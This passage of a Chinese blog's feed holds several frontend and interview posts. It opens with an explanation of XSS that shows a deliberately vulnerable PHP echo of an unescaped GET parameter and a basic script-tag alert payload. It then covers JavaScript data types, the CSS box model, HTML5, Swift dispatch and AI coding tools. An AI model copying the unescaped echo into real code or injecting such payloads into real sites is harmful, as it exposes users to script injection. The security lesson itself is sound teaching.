&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;p&amp;gt;hello,&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$_GET[&amp;#39;user&amp;#39;]&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;lt;/p&amp;gt;&amp;#34;&lt;/span&gt;; &lt;span style="color:#75715e"&gt;?&amp;gt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;如果未做防范XSS，用户名设为&lt;code&gt;&amp;lt;script&amp;gt;alert(&amp;quot;Tz&amp;quot;)&amp;lt;/script&amp;gt;&lt;/code&gt;,则会执行预设好的JavaScript代码。&lt;/p&gt;
&lt;h4 id="漏洞成因"&gt;漏洞成因&lt;/h4&gt;
&lt;p&gt;当用户的输入或者一些用户可控参数未经处理地输出到页面上，就容易产生XSS漏洞。主要场景有以下几种：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;将不可信数据插入到HTML标签之间时；// 例如div, p, td；&lt;/li&gt;
&lt;li&gt;将不可信数据插入到HTML属性里时；// 例如：&lt;code&gt;&amp;lt;div width=$INPUT&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;将不可信数据插入到SCRIPT里时；// 例如：&lt;code&gt;&amp;lt;script&amp;gt;var message = ” $INPUT “;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;还有插入到Style属性里的情况，同样具有一定的危害性；// 例如&lt;code&gt;&amp;lt;span style=” property : $INPUT ”&amp;gt;&amp;lt;/span&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;将不可信数据插入到HTML URL里时，// 例如：&lt;code&gt;&amp;lt;a href=”[http://www.abcd.com?param=](http://www.ccc.com/?param=) $INPUT ”&amp;gt;&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用富文本时，没有使用XSS规则引擎进行编码过滤。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;对于以上的几个场景，若服务端或者前端没有做好防范措施，就会出现漏洞隐患。&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="攻击流程"&gt;攻击流程&lt;/h4&gt;
&lt;p&gt;反射型XSS通常出现在搜索等功能中，需要被攻击者点击对应的链接才能触发，且受到XSS Auditor(chrome内置的XSS保护)、NoScript等防御手段的影响较大，所以它的危害性较存储型要小。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/security-001/image-01.webp"&gt;&lt;/p&gt;
&lt;h3 id="存储型xss"&gt;存储型XSS&lt;/h3&gt;
&lt;p&gt;​ 存储型（或 HTML 注入型/持久型）XSS 攻击最常发生在由社区内容驱动的网站或 Web 邮件网站，不需要特制的链接来执行。黑客仅仅需要提交 XSS 漏洞利用代码（反射型XSS通常只在url中）到一个网站上其他用户可能访问的地方。这些地区可能是&lt;code&gt;博客评论，用户评论，留言板，聊天室，HTML 电子邮件，wikis&lt;/code&gt;，和其他的许多地方。一旦用户访问受感染的页，执行是自动的。&lt;/p&gt;
&lt;h4 id="漏洞成因-1"&gt;漏洞成因&lt;/h4&gt;
&lt;p&gt;​ 存储型XSS漏洞的成因与反射型的根源类似，不同的是恶意代码会被保存在服务器中，导致其它用户（前端）和管理员（前后端）在访问资源时执行了恶意代码，用户访问服务器-跨站链接-返回跨站代码。&lt;/p&gt;
&lt;h4 id="攻击流程-1"&gt;攻击流程&lt;/h4&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/security-001/image-02.webp"&gt;&lt;/p&gt;
&lt;h3 id="dom型xss"&gt;DOM型XSS&lt;/h3&gt;
&lt;p&gt;通过修改页面的DOM节点形成的XSS，称之为DOM Based XSS。&lt;/p&gt;</description></item><item><title>数据类型</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-001/</link><pubDate>Tue, 01 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-001/</guid><description>&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;请讲下 &lt;code&gt;JavaScript&lt;/code&gt; 中的数据类型？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;前端面试中，估计大家都被这么问过。&lt;/p&gt;
&lt;p&gt;答：&lt;code&gt;Javascript&lt;/code&gt; 中的数据类型包括原始类型和引用类型。其中原始类型包括 &lt;code&gt;Null&lt;/code&gt;、&lt;code&gt;Undefined&lt;/code&gt;、&lt;code&gt;Boolean&lt;/code&gt;、&lt;code&gt;String&lt;/code&gt;、&lt;code&gt;Symbol&lt;/code&gt;、&lt;code&gt;BigInt&lt;/code&gt;。引用类型指的是 &lt;code&gt;Object&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;没错，我也是这么回答的，只是这通常是第一个问题，由这个问题可以引出很多很多的问题，比如&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Null&lt;/code&gt; 和 &lt;code&gt;Undefined&lt;/code&gt; 有什么区别？前端的判空有哪些需要注意的？&lt;/li&gt;
&lt;li&gt;&lt;code&gt;typeof null&lt;/code&gt; 为什么是 &lt;code&gt;object&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;为什么 &lt;code&gt;ES6&lt;/code&gt; 要提出 &lt;code&gt;Symbol&lt;/code&gt;？&lt;/li&gt;
&lt;li&gt;&lt;code&gt;BigInt&lt;/code&gt; 解决了什么问题？&lt;/li&gt;
&lt;li&gt;为什么 &lt;code&gt;0.1 + 0.2 !== 0.3?&lt;/code&gt; 你如何解决这个问题？&lt;/li&gt;
&lt;li&gt;如何判断一个值是数组？&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="弱类型语言"&gt;弱类型语言&lt;/h2&gt;
&lt;p&gt;因为 &lt;code&gt;JavaScript&lt;/code&gt; 是弱类型语言或者说是动态语言。这意味着你不需要提前声明变量的类型，在程序运行的过程中，类型会被自动确定，也就是说你可以使用同一个变量保存不同类型的值&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;42&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// foo is a Number now
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;bar&amp;#34;&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// foo is a String now
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// foo is a Boolean now
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这一特性给我们带来便利的同时，也给我们带来了很多的类型错误。试想一下，假如 &lt;code&gt;JS&lt;/code&gt; 说是强类型语言，那么各个类型之间没法转换，也就有了一层隔阂或者说一层保护，会不会更加好维护呢？——这或许就是 &lt;code&gt;TypeScript&lt;/code&gt; 诞生的原因。&lt;/p&gt;
&lt;p&gt;对 &lt;code&gt;JavaScript&lt;/code&gt; 的数据类型掌握，是一个前端最基本的知识点&lt;/p&gt;
&lt;h2 id="null-还是-undefined"&gt;null 还是 undefined&lt;/h2&gt;
&lt;h3 id="定义"&gt;定义&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;undefined&lt;/code&gt; 表示未定义的变量。&lt;code&gt;null&lt;/code&gt; 值表示一个空对象指针。&lt;/p&gt;</description></item><item><title>盒子模型</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-001/</link><pubDate>Mon, 30 Sep 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-001/</guid><description>&lt;p&gt;前端盒子模型是网页布局的基础概念，对于前端开发者来说，理解盒子模型是至关重要的。&lt;/p&gt;
&lt;h3 id="1-盒子模型的组成部分"&gt;1. 盒子模型的组成部分&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;内容（Content）&lt;/strong&gt;:&lt;br&gt;&lt;/li&gt;
&lt;li&gt;盒子中实际显示的文本或图像部分。内容区的大小由 &lt;code&gt;width&lt;/code&gt; 和 &lt;code&gt;height&lt;/code&gt; 属性确定。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内边距（Padding）&lt;/strong&gt;:&lt;br&gt;&lt;/li&gt;
&lt;li&gt;内容与边框之间的空间。它用于增加内容与边框之间的距离，可以通过 &lt;code&gt;padding&lt;/code&gt;、&lt;code&gt;padding-top&lt;/code&gt;、&lt;code&gt;padding-right&lt;/code&gt;、&lt;code&gt;padding-bottom&lt;/code&gt; 和 &lt;code&gt;padding-left&lt;/code&gt; 属性进行设置。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;边框（Border）&lt;/strong&gt;:&lt;br&gt;&lt;/li&gt;
&lt;li&gt;环绕在内边距和内容周围的边界。可以设置边框的宽度、样式和颜色。相关属性包括 &lt;code&gt;border&lt;/code&gt;、&lt;code&gt;border-width&lt;/code&gt;、&lt;code&gt;border-style&lt;/code&gt; 和 &lt;code&gt;border-color&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;外边距（Margin）&lt;/strong&gt;:&lt;br&gt;&lt;/li&gt;
&lt;li&gt;盒子外部的空间。用于控制元素与元素之间的间距。可以通过 &lt;code&gt;margin&lt;/code&gt;、&lt;code&gt;margin-top&lt;/code&gt;、&lt;code&gt;margin-right&lt;/code&gt;、&lt;code&gt;margin-bottom&lt;/code&gt; 和 &lt;code&gt;margin-left&lt;/code&gt; 属性进行设置。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-标准盒子模型与替代盒子模型"&gt;2. 标准盒子模型与替代盒子模型&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;标准盒子模型（content-box）&lt;/strong&gt;:&lt;br&gt;&lt;/li&gt;
&lt;li&gt;默认的盒子模型。&lt;code&gt;width&lt;/code&gt; 和 &lt;code&gt;height&lt;/code&gt; 只包含内容区，不包括内边距和边框。因此，元素的实际占用空间是 &lt;code&gt;width + padding + border&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;替代盒子模型（border-box）&lt;/strong&gt;:&lt;br&gt;&lt;/li&gt;
&lt;li&gt;通过设置 &lt;code&gt;box-sizing: border-box&lt;/code&gt;，使得 &lt;code&gt;width&lt;/code&gt; 和 &lt;code&gt;height&lt;/code&gt; 包括内边距和边框，这样内容区的大小会自动调整以适应总高度和宽度。这样做通常可以避免许多布局问题。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="示例"&gt;示例&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;box&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;box-sizing&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;content-box&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 默认值 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;padding&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;border&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;solid&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;black&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在标准模型下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;总宽度 = 200px + 20px (左内边距) + 20px (右内边距) + 5px (左边框) + 5px (右边框) = 250px&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;box&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;box-sizing&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;border-box&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 替代模型 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;padding&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;border&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;solid&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;black&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在替代模型下：&lt;/p&gt;</description></item><item><title>HTML 5 新特性</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-001/</link><pubDate>Tue, 24 Sep 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-001/</guid><description>&lt;h2 id="html5-新特性"&gt;HTML5 新特性&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;语义标签&lt;/li&gt;
&lt;li&gt;增强型表单&lt;/li&gt;
&lt;li&gt;视频和音频&lt;/li&gt;
&lt;li&gt;Canvas绘图&lt;/li&gt;
&lt;li&gt;SVG绘图&lt;/li&gt;
&lt;li&gt;地理定位&lt;/li&gt;
&lt;li&gt;拖拽API&lt;/li&gt;
&lt;li&gt;WebWorker&lt;/li&gt;
&lt;li&gt;WebStorage&lt;/li&gt;
&lt;li&gt;WebSocket&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="语义标签"&gt;语义标签&lt;/h2&gt;
&lt;p&gt;语义化标签使得页面的内容结构化，可以使开发者更方便清晰地构建页面的布局&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;标签&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;header&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定义了文档的头部区域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;footer&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定义了文档的尾部区域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定义文档的导航&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;section&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定义文档中的书&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;acticle&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定义页面独立的内容区域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;aside&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定义页面侧边栏内容&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;details&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定义用户可以看到或隐藏的额外细节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;summary&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;标签包含details元素的标题&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;dialog&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定义对话框&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;figure&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定义自包含内容，如图表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;main&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;定义文档主内容&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/html/html-001/image-01.webp"&gt;&lt;/p&gt;
&lt;h2 id="增强型表单"&gt;增强型表单&lt;/h2&gt;
&lt;p&gt;HTML5新增input输入特性，改善更好的输入控制和验证&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;输入类型&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;color&lt;/td&gt;
&lt;td&gt;主要用于选取颜色&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;date&lt;/td&gt;
&lt;td&gt;选取日期&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;datetime&lt;/td&gt;
&lt;td&gt;选取日期（UTC时间）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;datetime-local&lt;/td&gt;
&lt;td&gt;选取日期（无时区）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;month&lt;/td&gt;
&lt;td&gt;选择一个月份&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;week&lt;/td&gt;
&lt;td&gt;选择周和年&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;time&lt;/td&gt;
&lt;td&gt;选择一个时间&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;email&lt;/td&gt;
&lt;td&gt;包含email地址的输入域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;number&lt;/td&gt;
&lt;td&gt;数值的输入域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;url&lt;/td&gt;
&lt;td&gt;url地址的输入域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;tel&lt;/td&gt;
&lt;td&gt;定义输入电话号码的字段&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;search&lt;/td&gt;
&lt;td&gt;用于搜索域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;range&lt;/td&gt;
&lt;td&gt;一个范围内数字值的输入域&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;HTML5也新增了五个表单元素&lt;/p&gt;</description></item><item><title>Swift 面试：泛型、协议与派发源码解析</title><link>https://amatsuzero.github.io/LastStand/posts/swiftinterviewsourcecode/generics-protocol-dispatch/</link><pubDate>Tue, 16 Jun 2026 09:06:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/swiftinterviewsourcecode/generics-protocol-dispatch/</guid><description>&lt;h1 id="swift-面试泛型协议与派发源码解析"&gt;Swift 面试：泛型、协议与派发源码解析&lt;/h1&gt;
&lt;p&gt;Swift 面试里，泛型和协议经常不是单独问语法，而是连着问：&lt;strong&gt;Swift 中函数派发机制有哪几种？泛型是编译期还是运行期机制？协议调用为什么可能慢？&lt;code&gt;some&lt;/code&gt; 和 &lt;code&gt;any&lt;/code&gt; 为什么性能不同？Protocol Witness Table 到底是什么？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这篇文章按面试题展开，把答案落到 Swift 编译器里的 Generic Signature、Generic Specializer、SIL 调用指令、Protocol Witness Table、class vtable 和 Devirtualize 优化。&lt;/p&gt;
&lt;h2 id="面试高频问题"&gt;面试高频问题&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Swift 中函数派发机制有哪几种？&lt;/li&gt;
&lt;li&gt;直接派发、class vtable 派发、witness table 派发、Objective-C 消息派发分别适用于什么场景？&lt;/li&gt;
&lt;li&gt;&lt;code&gt;function_ref&lt;/code&gt;、&lt;code&gt;class_method&lt;/code&gt;、&lt;code&gt;witness_method&lt;/code&gt;、&lt;code&gt;objc_method&lt;/code&gt; 在 SIL 里分别代表什么？&lt;/li&gt;
&lt;li&gt;如何用 &lt;code&gt;swiftc -emit-silgen&lt;/code&gt; / &lt;code&gt;swiftc -emit-sil -O&lt;/code&gt; 观察派发指令？&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dynamic&lt;/code&gt; / &lt;code&gt;@objc dynamic&lt;/code&gt; 会怎样影响派发？&lt;/li&gt;
&lt;li&gt;如何用代码对比泛型、&lt;code&gt;some&lt;/code&gt;、&lt;code&gt;any&lt;/code&gt; 的派发和性能差异？&lt;/li&gt;
&lt;li&gt;Swift 泛型是运行时泛型还是编译期泛型？&lt;/li&gt;
&lt;li&gt;Generic Signature 是什么？它保存哪些信息？&lt;/li&gt;
&lt;li&gt;泛型特化为什么能提升性能？&lt;/li&gt;
&lt;li&gt;Protocol Witness Table 是什么？&lt;/li&gt;
&lt;li&gt;协议方法调用什么时候是静态派发，什么时候是动态派发？&lt;/li&gt;
&lt;li&gt;&lt;code&gt;some Protocol&lt;/code&gt; 和 &lt;code&gt;any Protocol&lt;/code&gt; 的本质区别是什么？&lt;/li&gt;
&lt;li&gt;&lt;code&gt;final&lt;/code&gt;、&lt;code&gt;private&lt;/code&gt;、具体类型为什么有利于优化？&lt;/li&gt;
&lt;li&gt;协议扩展里的方法一定是动态派发吗？&lt;/li&gt;
&lt;li&gt;&lt;code&gt;class_method&lt;/code&gt; 和 &lt;code&gt;witness_method&lt;/code&gt; 有什么区别？&lt;/li&gt;
&lt;li&gt;面试里如何解释“Swift 既强调协议，又强调性能”？&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="30-秒回答版"&gt;30 秒回答版&lt;/h2&gt;
&lt;p&gt;Swift 函数派发面试不要只答“静态派发和动态派发”。更完整的分类是：&lt;strong&gt;直接派发&lt;/strong&gt;、&lt;strong&gt;class vtable 派发&lt;/strong&gt;、&lt;strong&gt;protocol witness table 派发&lt;/strong&gt;、&lt;strong&gt;Objective-C 消息派发&lt;/strong&gt;，再补充优化器可能把动态调用去虚拟化成直接调用。&lt;/p&gt;</description></item><item><title>AI编程工具</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ai/ai%E7%BC%96%E7%A8%8B%E5%B7%A5%E5%85%B7/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ai/ai%E7%BC%96%E7%A8%8B%E5%B7%A5%E5%85%B7/</guid><description>&lt;p&gt;AI编程工具正在重塑软件开发的工作方式。从简单的代码补全到自主完成复杂任务的编程Agent，这个领域在短短两三年内经历了巨大的变化。本文梳理AI编程工具的核心概念、工作原理和实践方法。&lt;/p&gt;
&lt;h2 id="一ai编程工具的演进"&gt;一、AI编程工具的演进&lt;/h2&gt;
&lt;h3 id="11-三代ai编程工具"&gt;1.1 三代AI编程工具&lt;/h3&gt;
&lt;pre class="mermaid"&gt;graph LR
G1["第一代&lt;br/&gt;代码补全&lt;br/&gt;Copilot (2021)"] --&gt; G2["第二代&lt;br/&gt;对话式编程&lt;br/&gt;ChatGPT (2022)"]
G2 --&gt; G3["第三代&lt;br/&gt;编程Agent&lt;br/&gt;Cursor/Devin (2024+)"]
&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;代际&lt;/th&gt;
&lt;th&gt;交互方式&lt;/th&gt;
&lt;th&gt;能力范围&lt;/th&gt;
&lt;th&gt;代表产品&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;第一代&lt;/td&gt;
&lt;td&gt;行内补全，按Tab接受&lt;/td&gt;
&lt;td&gt;单行/单函数级别&lt;/td&gt;
&lt;td&gt;GitHub Copilot&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;第二代&lt;/td&gt;
&lt;td&gt;对话框问答&lt;/td&gt;
&lt;td&gt;代码片段级别&lt;/td&gt;
&lt;td&gt;ChatGPT、Claude&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;第三代&lt;/td&gt;
&lt;td&gt;Agent模式，自主执行&lt;/td&gt;
&lt;td&gt;跨文件/跨系统级别&lt;/td&gt;
&lt;td&gt;Cursor、Windsurf、Devin&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="12-当前主流工具对比"&gt;1.2 当前主流工具对比&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;工具&lt;/th&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;核心特点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GitHub Copilot&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;IDE插件&lt;/td&gt;
&lt;td&gt;最早的AI编程助手，集成在VS Code/JetBrains等主流IDE中&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cursor&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;独立IDE&lt;/td&gt;
&lt;td&gt;基于VS Code深度定制，Agent模式、多文件编辑&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Windsurf&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;独立IDE&lt;/td&gt;
&lt;td&gt;Codeium推出，强调&amp;quot;Flow&amp;quot;模式的流畅体验&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Claude Code&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CLI工具&lt;/td&gt;
